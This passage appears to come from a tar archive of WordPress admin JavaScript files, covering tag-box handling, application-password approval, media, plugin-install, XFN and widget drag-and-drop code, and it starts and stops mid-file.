Comma separated tags that need to be cleaned up. * * @return {string} The cleaned up tags. */ clean : function( tags ) { if ( ',' !== tagDelimiter ) { tags = tags.replace( new RegExp( tagDelimiter, 'g' ), ',' ); } tags = tags.replace(/\s*,\s*/g, ',').replace(/,+/g, ',').replace(/[,\s]+$/, '').replace(/^[,\s]+/, ''); if ( ',' !== tagDelimiter ) { tags = tags.replace( /,/g, tagDelimiter ); } return tags; }, /** * Parses tags and makes them editable. * * @since 2.9.0 * * @memberOf tagBox * * @param {Object} el The tag element to retrieve the ID from. * * @return {boolean} Always returns false. */ parseTags : function(el) { var id = el.id, num = id.split('-check-num-')[1], taxbox = $(el).closest('.tagsdiv'), thetags = taxbox.find('.the-tags'), current_tags = thetags.val().split( tagDelimiter ), new_tags = []; delete current_tags[num]; // Sanitize the current tags and push them as if they're new tags. $.each( current_tags, function( key, val ) { val = val || ''; val = val.trim(); if ( val ) { new_tags.push( val ); } }); thetags.val( this.clean( new_tags.join( tagDelimiter ) ) ); this.quickClicks( taxbox ); return false; }, /** * Creates clickable links, buttons and fields for adding or editing tags. * * @since 2.9.0 * * @memberOf tagBox * * @param {Object} el The container HTML element. * * @return {void} */ quickClicks : function( el ) { var thetags = $('.the-tags', el), tagchecklist = $('.tagchecklist', el), id = $(el).attr('id'), current_tags, disabled; if ( ! thetags.length ) return; disabled = thetags.prop('disabled'); current_tags = thetags.val().split( tagDelimiter ); tagchecklist.empty(); /** * Creates a delete button if tag editing is enabled, before adding it to the tag list. * * @since 2.5.0 * * @memberOf tagBox * * @param {string} key The index of the current tag. * @param {string} val The value of the current tag. * * @return {void} */ $.each( current_tags, function( key, val ) { var listItem, xbutton; val = val || ''; val = val.trim(); if ( ! val ) return; // Create a new list item, and ensure the text is properly escaped. listItem = $( '<li />' ).text( val ); // If tags editing isn't disabled, create the X button. if ( ! disabled ) { /* * Build the X buttons, hide the X icon with aria-hidden and * use visually hidden text for screen readers. */ xbutton = $( '<button type="button" id="' + id + '-check-num-' + key + '" class="ntdelbutton">' + '<span class="remove-tag-icon" aria-hidden="true"></span>' + '<span class="screen-reader-text">' + wp.i18n.__( 'Remove term:' ) + ' ' + listItem.html() + '</span>' + '</button>' ); /** * Handles the click and keypress event of the tag remove button. * * Makes sure the focus ends up in the tag input field when using * the keyboard to delete the tag. * * @since 4.2.0 * * @param {Event} e The click or keypress event to handle. * * @return {void} */ xbutton.on( 'click keypress', function( e ) { // On click or when using the Enter/Spacebar keys. if ( 'click' === e.type || 13 === e.keyCode || 32 === e.keyCode ) { /* * When using the keyboard, move focus back to the * add new tag field. Note: when releasing the pressed * key this will fire the `keyup` event on the input. */ if ( 13 === e.keyCode || 32 === e.keyCode ) { $( this ).closest( '.tagsdiv' ).find( 'input.newtag' ).trigger( 'focus' ); } tagBox.userAction = 'remove'; tagBox.parseTags( this ); } }); listItem.prepend( ' ' ).prepend( xbutton ); } // Append the list item to the tag list. tagchecklist.append( listItem ); }); // The buttons list is built now, give feedback to screen reader users. tagBox.screenReadersMessage(); }, /** * Adds a new tag. * * Also ensures that the quick links are properly generated. * * @since 2.9.0 * * @memberOf tagBox * * @param {Object} el The container HTML element. * @param {Object|boolean} a When this is an HTML element the text of that * element will be used for the new tag. * @param {number|boolean} f If this value is not passed then the tag input * field is focused. * * @return {boolean} Always returns false. */ flushTags : function( el, a, f ) { var tagsval, newtags, text, tags = $( '.the-tags', el ), newtag = $( 'input.newtag', el ); a = a || false; text = a ? $(a).text() : newtag.val(); /* * Return if there's no new tag or if the input field is empty. * Note: when using the keyboard to add tags, focus is moved back to * the input field and the `keyup` event attached on this field will * fire when releasing the pressed key. Checking also for the field * emptiness avoids to set the tags and call quickClicks() again. */ if ( 'undefined' == typeof( text ) || '' === text ) { return false; } tagsval = tags.val(); newtags = tagsval ? tagsval + tagDelimiter + text : text; newtags = this.clean( newtags ); newtags = array_unique_noempty( newtags.split( tagDelimiter ) ).join( tagDelimiter ); tags.val( newtags ); this.quickClicks( el ); if ( ! a ) newtag.val(''); if ( 'undefined' == typeof( f ) ) newtag.trigger( 'focus' ); return false; }, /** * Retrieves the available tags and creates a tagcloud. * * Retrieves the available tags from the database and creates an interactive * tagcloud. Clicking a tag will add it. * * @since 2.9.0 * * @memberOf tagBox * * @param {string} id The ID to extract the taxonomy from. * * @return {void} */ get : function( id ) { var tax = id.substr( id.indexOf('-') + 1 ); /** * Puts a received tag cloud into a DOM element. * * The tag cloud HTML is generated on the server. * * @since 2.9.0 * * @param {number|string} r The response message from the Ajax call. * @param {string} stat The status of the Ajax request. * * @return {void} */ $.post( ajaxurl, { 'action': 'get-tagcloud', 'tax': tax }, function( r, stat ) { if ( 0 === r || 'success' != stat ) { return; } r = $( '<div id="tagcloud-' + tax + '" class="the-tagcloud">' + r + '</div>' ); /** * Adds a new tag when a tag in the tagcloud is clicked. * * @since 2.9.0 * * @return {boolean} Returns false to prevent the default action. */ $( 'a', r ).on( 'click', function() { tagBox.userAction = 'add'; tagBox.flushTags( $( '#' + tax ), this ); return false; }); $( '#' + id ).after( r ); }); }, /** * Track the user's last action. * * @since 4.7.0 */ userAction: '', /** * Dispatches an audible message to screen readers. * * This will inform the user when a tag has been added or removed. * * @since 4.7.0 * * @return {void} */ screenReadersMessage: function() { var message; switch ( this.userAction ) { case 'remove': message = wp.i18n.__( 'Term removed.' ); break; case 'add': message = wp.i18n.__( 'Term added.' ); break; default: return; } window.wp.a11y.speak( message, 'assertive' ); }, /** * Initializes the tags box by setting up the links, buttons. Sets up event * handling. * * This includes handling of pressing the enter key in the input field and the * retrieval of tag suggestions. * * @since 2.9.0 * * @memberOf tagBox * * @return {void} */ init : function() { var ajaxtag = $('div.ajaxtag'); $('.tagsdiv').each( function() { tagBox.quickClicks( this ); }); $( '.tagadd', ajaxtag ).on( 'click', function() { tagBox.userAction = 'add'; tagBox.flushTags( $( this ).closest( '.tagsdiv' ) ); }); /** * Handles pressing enter on the new tag input field. * * Prevents submitting the post edit form. Uses `keypress` to take * into account Input Method Editor (IME) converters. * * @since 2.9.0 * * @param {Event} event The keypress event that occurred. * * @return {void} */ $( 'input.newtag', ajaxtag ).on( 'keypress', function( event ) { if ( 13 == event.which ) { tagBox.userAction = 'add'; tagBox.flushTags( $( this ).closest( '.tagsdiv' ) ); event.preventDefault(); event.stopPropagation(); } }).each( function( i, element ) { $( element ).wpTagsSuggest(); }); /** * Before a post is saved the value currently in the new tag input field will be * added as a tag. * * @since 2.9.0 * * @return {void} */ $('#post').on( 'submit', function(){ $('div.tagsdiv').each( function() { tagBox.flushTags(this, false, 1); }); }); /** * Handles clicking on the tag cloud link. * * Makes sure the ARIA attributes are set correctly. * * @since 2.9.0 * * @return {void} */ $('.tagcloud-link').on( 'click', function(){ // On the first click, fetch the tag cloud and insert it in the DOM. tagBox.get( $( this ).attr( 'id' ) ); // Update button state, remove previous click event and attach a new one to toggle the cloud. $( this ) .attr( 'aria-expanded', 'true' ) .off() .on( 'click', function() { $( this ) .attr( 'aria-expanded', 'false' === $( this ).attr( 'aria-expanded' ) ? 'true' : 'false' ) .siblings( '.the-tagcloud' ).toggle(); }); }); } }; }( jQuery )); js/auth-app.min.js 0000644 00000004044 15233246127 0010026 0 ustar 00 /*! This file is auto-generated */ !function(t,s){var p=t("#app_name"),r=t("#approve"),e=t("#reject"),n=p.closest("form"),i={userLogin:s.user_login,successUrl:s.success,rejectUrl:s.reject};r.on("click",function(e){var a=p.val(),o=t('input[name="app_id"]',n).val();e.preventDefault(),r.prop("aria-disabled")||(0===a.length?p.trigger("focus"):(r.prop("aria-disabled",!0).addClass("disabled"),e={name:a},0<o.length&&(e.app_id=o),e=wp.hooks.applyFilters("wp_application_passwords_approve_app_request",e,i),wp.apiRequest({path:"/wp/v2/users/me/application-passwords?_locale=user",method:"POST",data:e}).done(function(e,a,o){wp.hooks.doAction("wp_application_passwords_approve_app_request_success",e,a,o);var a=s.success;a?(o=a+(-1===a.indexOf("?")?"?":"&")+"site_url="+encodeURIComponent(s.site_url)+"&user_login="+encodeURIComponent(s.user_login)+"&password="+encodeURIComponent(e.password),window.location=o):(a=wp.i18n.sprintf('<label for="new-application-password-value">'+wp.i18n.__("Your new password for %s is:")+"</label>","<strong></strong>")+' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />',o=t("<div></div>").attr("role","alert").attr("tabindex",-1).addClass("notice notice-success notice-alt").append(t("<p></p>").addClass("application-password-display").html(a)).append("<p>"+wp.i18n.__("Be sure to save this in a safe location. You will not be able to retrieve it.")+"</p>"),t("strong",o).text(e.name),t("input",o).val(e.password),n.replaceWith(o),o.trigger("focus"))}).fail(function(e,a,o){var s=o,p=null,s=(e.responseJSON&&(p=e.responseJSON).message&&(s=p.message),t("<div></div>").attr("role","alert").addClass("notice notice-error").append(t("<p></p>").text(s)));t("h1").after(s),r.removeProp("aria-disabled",!1).removeClass("disabled"),wp.hooks.doAction("wp_application_passwords_approve_app_request_error",p,a,o,e)})))}),e.on("click",function(e){e.preventDefault(),wp.hooks.doAction("wp_application_passwords_reject_app",i),window.location=s.reject}),n.on("submit",function(e){e.preventDefault()})}(jQuery,authApp); js/media-upload.min.js 0000644 00000002200 15233246127 0010640 0 ustar 00 /*! This file is auto-generated */ window.send_to_editor=function(t){var e,i="undefined"!=typeof tinymce,n="undefined"!=typeof QTags;if(wpActiveEditor)i&&(e=tinymce.get(wpActiveEditor));else if(i&&tinymce.activeEditor)e=tinymce.activeEditor,window.wpActiveEditor=e.id;else if(!n)return!1;if(e&&!e.isHidden()?e.execCommand("mceInsertContent",!1,t):n?QTags.insertContent(t):document.getElementById(wpActiveEditor).value+=t,window.tb_remove)try{window.tb_remove()}catch(t){}},function(d){window.tb_position=function(){var t=d("#TB_window"),e=d(window).width(),i=d(window).height(),n=833<e?833:e,o=0;return d("#wpadminbar").length&&(o=parseInt(d("#wpadminbar").css("height"),10)),t.length&&(t.width(n-50).height(i-45-o),d("#TB_iframeContent").width(n-50).height(i-75-o),t.css({"margin-left":"-"+parseInt((n-50)/2,10)+"px"}),void 0!==document.body.style.maxWidth)&&t.css({top:20+o+"px","margin-top":"0"}),d("a.thickbox").each(function(){var t=d(this).attr("href");t&&(t=(t=t.replace(/&width=[0-9]+/g,"")).replace(/&height=[0-9]+/g,""),d(this).attr("href",t+"&width="+(n-80)+"&height="+(i-85-o)))})},d(window).on("resize",function(){tb_position()})}(jQuery); js/xfn.min.js 0000644 00000000712 15233246127 0007100 0 ustar 00 /*! This file is auto-generated */ jQuery(function(l){l("#link_rel").prop("readonly",!0),l("#linkxfndiv input").on("click keyup",function(){var e=l("#me").is(":checked"),i="";l("input.valinp").each(function(){e?l(this).prop("disabled",!0).parent().addClass("disabled"):(l(this).removeAttr("disabled").parent().removeClass("disabled"),l(this).is(":checked")&&""!==l(this).val()&&(i+=l(this).val()+" "))}),l("#link_rel").val(e?"me":i.substr(0,i.length-1))})}); js/plugin-install.min.js 0000644 00000004543 15233246127 0011255 0 ustar 00 /*! This file is auto-generated */ jQuery(function(e){var o,i,n,a,l,r=e(),s=e(".upload-view-toggle"),t=e(".wrap"),d=e(document.body);function c(){var t;n=e(":tabbable",i),a=o.find("#TB_closeWindowButton"),l=n.last(),(t=a.add(l)).off("keydown.wp-plugin-details"),t.on("keydown.wp-plugin-details",function(t){9===(t=t).which&&(l[0]!==t.target||t.shiftKey?a[0]===t.target&&t.shiftKey&&(t.preventDefault(),l.trigger("focus")):(t.preventDefault(),a.trigger("focus")))})}window.tb_position=function(){var t=e(window).width(),i=e(window).height()-(792<t?60:20),n=792<t?772:t-20;return(o=e("#TB_window")).length&&(o.width(n).height(i),e("#TB_iframeContent").width(n).height(i),o.css({"margin-left":"-"+parseInt(n/2,10)+"px"}),void 0!==document.body.style.maxWidth)&&o.css({top:"30px","margin-top":"0"}),e("a.thickbox").each(function(){var t=e(this).attr("href");t&&(t=(t=t.replace(/&width=[0-9]+/g,"")).replace(/&height=[0-9]+/g,""),e(this).attr("href",t+"&width="+n+"&height="+i))})},e(window).on("resize",function(){tb_position()}),d.on("thickbox:iframe:loaded",o,function(){var t;o.hasClass("plugin-details-modal")&&(t=o.find("#TB_iframeContent"),i=t.contents().find("body"),c(),a.trigger("focus"),e("#plugin-information-tabs a",i).on("click",function(){c()}),i.on("keydown",function(t){27===t.which&&tb_remove()}))}).on("thickbox:removed",function(){r.trigger("focus")}),e(".wrap").on("click",".thickbox.open-plugin-details-modal",function(t){var i=e(this).data("title")?wp.i18n.sprintf(wp.i18n.__("Plugin: %s"),e(this).data("title")):wp.i18n.__("Plugin details");t.preventDefault(),t.stopPropagation(),r=e(this),tb_click.call(this),o.attr({role:"dialog","aria-label":wp.i18n.__("Plugin details")}).addClass("plugin-details-modal"),o.find("#TB_iframeContent").attr("title",i)}),e("#plugin-information-tabs a").on("click",function(t){var i=e(this).attr("name");t.preventDefault(),e("#plugin-information-tabs a.current").removeClass("current"),e(this).addClass("current"),"description"!==i&&e(window).width()<772?e("#plugin-information-content").find(".fyi").hide():e("#plugin-information-content").find(".fyi").show(),e("#section-holder div.section").hide(),e("#section-"+i).show()}),t.hasClass("plugin-install-tab-upload")||s.attr({role:"button","aria-expanded":"false"}).on("click",function(t){t.preventDefault(),d.toggleClass("show-upload-view"),s.attr("aria-expanded",d.hasClass("show-upload-view"))})}); js/media.min.js 0000644 00000004607 15233246127 0007373 0 ustar 00 /*! This file is auto-generated */ !function(t){window.findPosts={open:function(n,e){var i=t(".ui-find-overlay");return 0===i.length&&(t("body").append('<div class="ui-find-overlay"></div>'),findPosts.overlay()),i.show(),n&&e&&t("#affected").attr("name",n).val(e),t("#find-posts").show(),t("#find-posts-input").trigger("focus").on("keyup",function(n){27==n.which&&findPosts.close()}),findPosts.send(),!1},close:function(){t("#find-posts-response").empty(),t("#find-posts").hide(),t(".ui-find-overlay").hide()},overlay:function(){t(".ui-find-overlay").on("click",function(){findPosts.close()})},send:function(){var n={ps:t("#find-posts-input").val(),action:"find_posts",_ajax_nonce:t("#_ajax_nonce").val()},e=t(".find-box-search .spinner");e.addClass("is-active"),t.ajax(ajaxurl,{type:"POST",data:n,dataType:"json"}).always(function(){e.removeClass("is-active")}).done(function(n){n.success||t("#find-posts-response").text(wp.i18n.__("An error has occurred. Please reload the page and try again.")),t("#find-posts-response").html(n.data)}).fail(function(){t("#find-posts-response").text(wp.i18n.__("An error has occurred. Please reload the page and try again."))})}},t(function(){var o,n,e=t("#wp-media-grid"),i=new ClipboardJS(".copy-attachment-url.media-library"),s=null;e.length&&window.wp&&window.wp.media&&(n=_wpMediaGridSettings,n=window.wp.media({frame:"manage",container:e,library:n.queryVars}).open(),e.trigger("wp-media-grid-ready",n)),t("#find-posts-submit").on("click",function(n){t('#find-posts-response input[type="radio"]:checked').length||n.preventDefault()}),t("#find-posts .find-box-search :input").on("keypress",function(n){if(13==n.which)return findPosts.send(),!1}),t("#find-posts-search").on("click",findPosts.send),t("#find-posts-close").on("click",findPosts.close),t("#doaction").on("click",function(e){t('select[name="action"]').each(function(){var n=t(this).val();"attach"===n?(e.preventDefault(),findPosts.open()):"delete"!==n||showNotice.warn()||e.preventDefault()})}),t(".find-box-inside").on("click","tr",function(){t(this).find(".found-radio input").prop("checked",!0)}),i.on("success",function(n){var e=t(n.trigger),i=t(".success",e.closest(".copy-to-clipboard-container"));n.clearSelection(),s&&s.addClass("hidden"),clearTimeout(o),i.removeClass("hidden"),o=setTimeout(function(){i.addClass("hidden"),s=null},3e3),s=i,wp.a11y.speak(wp.i18n.__("The file URL has been copied to your clipboard"))})})}(jQuery); js/widgets.js 0000644 00000055072 15233246127 0007202 0 ustar 00 /** * @output wp-admin/js/widgets.js */ /* global ajaxurl, isRtl, wpWidgets */ (function($) { var $document = $( document ); window.wpWidgets = { /** * A closed Sidebar that gets a Widget dragged over it. * * @var {element|null} */ hoveredSidebar: null, /** * Lookup of which widgets have had change events triggered. * * @var {object} */ dirtyWidgets: {}, init : function() { var rem, the_id, self = this, chooser = $('.widgets-chooser'), selectSidebar = chooser.find('.widgets-chooser-sidebars'), sidebars = $('div.widgets-sortables'), isRTL = !! ( 'undefined' !== typeof isRtl && isRtl ); // Handle the widgets containers in the right column. $( '#widgets-right .sidebar-name' ) /* * Toggle the widgets containers when clicked and update the toggle * button `aria-expanded` attribute value. */ .on( 'click', function() { var $this = $( this ), $wrap = $this.closest( '.widgets-holder-wrap '), $toggle = $this.find( '.handlediv' ); if ( $wrap.hasClass( 'closed' ) ) { $wrap.removeClass( 'closed' ); $toggle.attr( 'aria-expanded', 'true' ); // Refresh the jQuery UI sortable items. $this.parent().sortable( 'refresh' ); } else { $wrap.addClass( 'closed' ); $toggle.attr( 'aria-expanded', 'false' ); } // Update the admin menu "sticky" state. $document.triggerHandler( 'wp-pin-menu' ); }) /* * Set the initial `aria-expanded` attribute value on the widgets * containers toggle button. The first one is expanded by default. */ .find( '.handlediv' ).each( function( index ) { if ( 0 === index ) { // jQuery equivalent of `continue` within an `each()` loop. return; } $( this ).attr( 'aria-expanded', 'false' ); }); // Show AYS dialog when there are unsaved widget changes. $( window ).on( 'beforeunload.widgets', function( event ) { var dirtyWidgetIds = [], unsavedWidgetsElements; $.each( self.dirtyWidgets, function( widgetId, dirty ) { if ( dirty ) { dirtyWidgetIds.push( widgetId ); } }); if ( 0 !== dirtyWidgetIds.length ) { unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() { return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) ); }); unsavedWidgetsElements.each( function() { if ( ! $( this ).hasClass( 'open' ) ) { $( this ).find( '.widget-title-action:first' ).trigger( 'click' ); } }); // Bring the first unsaved widget into view and focus on the first tabbable field. unsavedWidgetsElements.first().each( function() { if ( this.scrollIntoViewIfNeeded ) { this.scrollIntoViewIfNeeded(); } else { this.scrollIntoView(); } $( this ).find( '.widget-inside :tabbable:first' ).trigger( 'focus' ); } ); event.returnValue = wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' ); return event.returnValue; } }); // Handle the widgets containers in the left column. $( '#widgets-left .sidebar-name' ).on( 'click', function() { var $wrap = $( this ).closest( '.widgets-holder-wrap' ); $wrap .toggleClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) ); // Update the admin menu "sticky" state. $document.triggerHandler( 'wp-pin-menu' ); }); $(document.body).on('click.widgets-toggle', function(e) { var target = $(e.target), css = {}, widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId, toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' ); if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) { widget = target.closest('div.widget'); inside = widget.children('.widget-inside'); targetWidth = parseInt( widget.find('input.widget-width').val(), 10 ); widgetWidth = widget.parent().width(); widgetId = inside.find( '.widget-id' ).val(); // Save button is initially disabled, but is enabled when a field is changed. if ( ! widget.data( 'dirty-state-initialized' ) ) { saveButton = inside.find( '.widget-control-save' ); saveButton.prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) ); inside.on( 'input change', function() { self.dirtyWidgets[ widgetId ] = true; widget.addClass( 'widget-dirty' ); saveButton.prop( 'disabled', false ).val( wp.i18n.__( 'Save' ) ); }); widget.data( 'dirty-state-initialized', true ); } if ( inside.is(':hidden') ) { if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) { if ( widget.closest('div.widget-liquid-right').length ) { margin = isRTL ? 'margin-right' : 'margin-left'; } else { margin = isRTL ? 'margin-left' : 'margin-right'; } css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px'; widget.css( css ); } /* * Don't change the order of attributes changes and animation: * it's important for screen readers, see ticket #31476. */ toggleBtn.attr( 'aria-expanded', 'true' ); inside.slideDown( 'fast', function() { widget.addClass( 'open' ); }); } else { /* * Don't change the order of attributes changes and animation: * it's important for screen readers, see ticket #31476. */ toggleBtn.attr( 'aria-expanded', 'false' ); inside.slideUp( 'fast', function() { widget.attr( 'style', '' ); widget.removeClass( 'open' ); }); } } else if ( target.hasClass('widget-control-save') ) { wpWidgets.save( target.closest('div.widget'), 0, 1, 0 ); e.preventDefault(); } else if ( target.hasClass('widget-control-remove') ) { wpWidgets.save( target.closest('div.widget'), 1, 1, 0 ); } else if ( target.hasClass('widget-control-close') ) { widget = target.closest('div.widget'); widget.removeClass( 'open' ); toggleBtn.attr( 'aria-expanded', 'false' ); wpWidgets.close( widget ); } else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) { wpWidgets.removeInactiveWidgets(); e.preventDefault(); } }); sidebars.children('.widget').each( function() { var $this = $(this); wpWidgets.appendTitle( this ); if ( $this.find( 'p.widget-error' ).length ) { $this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' ); } }); $('#widget-list').children('.widget').draggable({ connectToSortable: 'div.widgets-sortables', handle: '> .widget-top > .widget-title', distance: 2, helper: 'clone', zIndex: 101, containment: '#wpwrap', refreshPositions: true, start: function( event, ui ) { var chooser = $(this).find('.widgets-chooser'); ui.helper.find('div.widget-description').hide(); the_id = this.id; if ( chooser.length ) { // Hide the chooser and move it out of the widget. $( '#wpbody-content' ).append( chooser.hide() ); // Delete the cloned chooser from the drag helper. ui.helper.find('.widgets-chooser').remove(); self.clearWidgetSelection(); } }, stop: function() { if ( rem ) { $(rem).hide(); } rem = ''; } }); /** * Opens and closes previously closed Sidebars when Widgets are dragged over/out of them. */ sidebars.droppable( { tolerance: 'intersect', /** * Open Sidebar when a Widget gets dragged over it. * * @ignore * * @param {Object} event jQuery event object. */ over: function( event ) { var $wrap = $( event.target ).parent(); if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) { // Close the previous Sidebar as the Widget has been dragged onto another Sidebar. wpWidgets.closeSidebar( event ); } if ( $wrap.hasClass( 'closed' ) ) { wpWidgets.hoveredSidebar = $wrap; $wrap .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); } $( this ).sortable( 'refresh' ); }, /** * Close Sidebar when the Widget gets dragged out of it. * * @ignore * * @param {Object} event jQuery event object. */ out: function( event ) { if ( wpWidgets.hoveredSidebar ) { wpWidgets.closeSidebar( event ); } } } ); sidebars.sortable({ placeholder: 'widget-placeholder', items: '> .widget', handle: '> .widget-top > .widget-title', cursor: 'move', distance: 2, containment: '#wpwrap', tolerance: 'pointer', refreshPositions: true, start: function( event, ui ) { var height, $this = $(this), $wrap = $this.parent(), inside = ui.item.children('.widget-inside'); if ( inside.css('display') === 'block' ) { ui.item.removeClass('open'); ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' ); inside.hide(); $(this).sortable('refreshPositions'); } if ( ! $wrap.hasClass('closed') ) { // Lock all open sidebars min-height when starting to drag. // Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below. height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height(); $this.css( 'min-height', height + 'px' ); } }, stop: function( event, ui ) { var addNew, widgetNumber, $sidebar, $children, child, item, $widget = ui.item, id = the_id; // Reset the var to hold a previously closed sidebar. wpWidgets.hoveredSidebar = null; if ( $widget.hasClass('deleting') ) { wpWidgets.save( $widget, 1, 0, 1 ); // Delete widget. $widget.remove(); return; } addNew = $widget.find('input.add_new').val(); widgetNumber = $widget.find('input.multi_number').val(); $widget.attr( 'style', '' ).removeClass('ui-draggable'); the_id = ''; if ( addNew ) { if ( 'multi' === addNew ) { $widget.html( $widget.html().replace( /<[^<>]+>/g, function( tag ) { return tag.replace( /__i__|%i%/g, widgetNumber ); }) ); $widget.attr( 'id', id.replace( '__i__', widgetNumber ) ); widgetNumber++; $( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber ); } else if ( 'single' === addNew ) { $widget.attr( 'id', 'new-' + id ); rem = 'div#' + id; } wpWidgets.save( $widget, 0, 0, 1 ); $widget.find('input.add_new').val(''); $document.trigger( 'widget-added', [ $widget ] ); } $sidebar = $widget.parent(); if ( $sidebar.parent().hasClass('closed') ) { $sidebar.parent() .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); $children = $sidebar.children('.widget'); // Make sure the dropped widget is at the top. if ( $children.length > 1 ) { child = $children.get(0); item = $widget.get(0); if ( child.id && item.id && child.id !== item.id ) { $( child ).before( $widget ); } } } if ( addNew ) { $widget.find( '.widget-action' ).trigger( 'click' ); } else { wpWidgets.saveOrder( $sidebar.attr('id') ); } }, activate: function() { $(this).parent().addClass( 'widget-hover' ); }, deactivate: function() { // Remove all min-height added on "start". $(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' ); }, receive: function( event, ui ) { var $sender = $( ui.sender ); // Don't add more widgets to orphaned sidebars. if ( this.id.indexOf('orphaned_widgets') > -1 ) { $sender.sortable('cancel'); return; } // If the last widget was moved out of an orphaned sidebar, close and remove it. if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) { $sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } ); } } }).sortable( 'option', 'connectWith', 'div.widgets-sortables' ); $('#available-widgets').droppable({ tolerance: 'pointer', accept: function(o){ return $(o).parent().attr('id') !== 'widget-list'; }, drop: function(e,ui) { ui.draggable.addClass('deleting'); $('#removing-widget').hide().children('span').empty(); }, over: function(e,ui) { ui.draggable.addClass('deleting'); $('div.widget-placeholder').hide(); if ( ui.draggable.hasClass('ui-sortable-helper') ) { $('#removing-widget').show().children('span') .html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() ); } }, out: function(e,ui) { ui.draggable.removeClass('deleting'); $('div.widget-placeholder').show(); $('#removing-widget').hide().children('span').empty(); } }); // Area Chooser. $( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) { var $element = $( element ), name = $element.find( '.sidebar-name h2' ).text() || '', ariaLabel = $element.find( '.sidebar-name' ).data( 'add-to' ), id = $element.find( '.widgets-sortables' ).attr( 'id' ), li = $( '<li>' ), button = $( '<button>', { type: 'button', 'aria-pressed': 'false', 'class': 'widgets-chooser-button', 'aria-label': ariaLabel } ).text( name.toString().trim() ); li.append( button ); if ( index === 0 ) { li.addClass( 'widgets-chooser-selected' ); button.attr( 'aria-pressed', 'true' ); } selectSidebar.append( li ); li.data( 'sidebarId', id ); }); $( '#available-widgets .widget .widget-top' ).on( 'click.widgets-chooser', function() { var $widget = $( this ).closest( '.widget' ), toggleButton = $( this ).find( '.widget-action' ), chooserButtons = selectSidebar.find( '.widgets-chooser-button' ); if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) { toggleButton.attr( 'aria-expanded', 'false' ); self.closeChooser(); } else { // Open the chooser. self.clearWidgetSelection(); $( '#widgets-left' ).addClass( 'chooser' ); // Add CSS class and insert the chooser after the widget description. $widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser ); // Open the chooser with a slide down animation. chooser.slideDown( 300, function() { // Update the toggle button aria-expanded attribute after previous DOM manipulations. toggleButton.attr( 'aria-expanded', 'true' ); }); chooserButtons.on( 'click.widgets-chooser', function() { selectSidebar.find( '.widgets-chooser-selected' ).removeClass( 'widgets-chooser-selected' ); chooserButtons.attr( 'aria-pressed', 'false' ); $( this ) .attr( 'aria-pressed', 'true' ) .closest( 'li' ).addClass( 'widgets-chooser-selected' ); } ); } }); // Add event handlers. chooser.on( 'click.widgets-chooser', function( event ) { var $target = $( event.target ); if ( $target.hasClass('button-primary') ) { self.addWidget( chooser ); self.closeChooser(); } else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) { self.closeChooser(); } }).on( 'keyup.widgets-chooser', function( event ) { if ( event.which === $.ui.keyCode.ESCAPE ) { self.closeChooser(); } }); }, saveOrder : function( sidebarId ) { var data = { action: 'widgets-order', savewidgets: $('#_wpnonce_widgets').val(), sidebars: [] }; if ( sidebarId ) { $( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' ); } $('div.widgets-sortables').each( function() { if ( $(this).sortable ) { data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(','); } }); $.post( ajaxurl, data, function() { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); $( '.spinner' ).removeClass( 'is-active' ); }); }, save : function( widget, del, animate, order ) { var self = this, data, a, sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ), form = widget.find( 'form' ), isAdd = widget.find( 'input.add_new' ).val(); if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) { return; } data = form.serialize(); widget = $(widget); $( '.spinner', widget ).addClass( 'is-active' ); a = { action: 'save-widget', savewidgets: $('#_wpnonce_widgets').val(), sidebar: sidebarId }; if ( del ) { a.delete_widget = 1; } data += '&' + $.param(a); $.post( ajaxurl, data, function(r) { var id = $('input.widget-id', widget).val(); if ( del ) { if ( ! $('input.widget_number', widget).val() ) { $('#available-widgets').find('input.widget-id').each(function(){ if ( $(this).val() === id ) { $(this).closest('div.widget').show(); } }); } if ( animate ) { order = 0; widget.slideUp( 'fast', function() { $( this ).remove(); wpWidgets.saveOrder(); delete self.dirtyWidgets[ id ]; }); } else { widget.remove(); delete self.dirtyWidgets[ id ]; if ( sidebarId === 'wp_inactive_widgets' ) { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); } } } else { $( '.spinner' ).removeClass( 'is-active' ); if ( r && r.length > 2 ) { $( 'div.widget-content', widget ).html( r ); wpWidgets.appendTitle( widget ); // Re-disable the save button. widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( 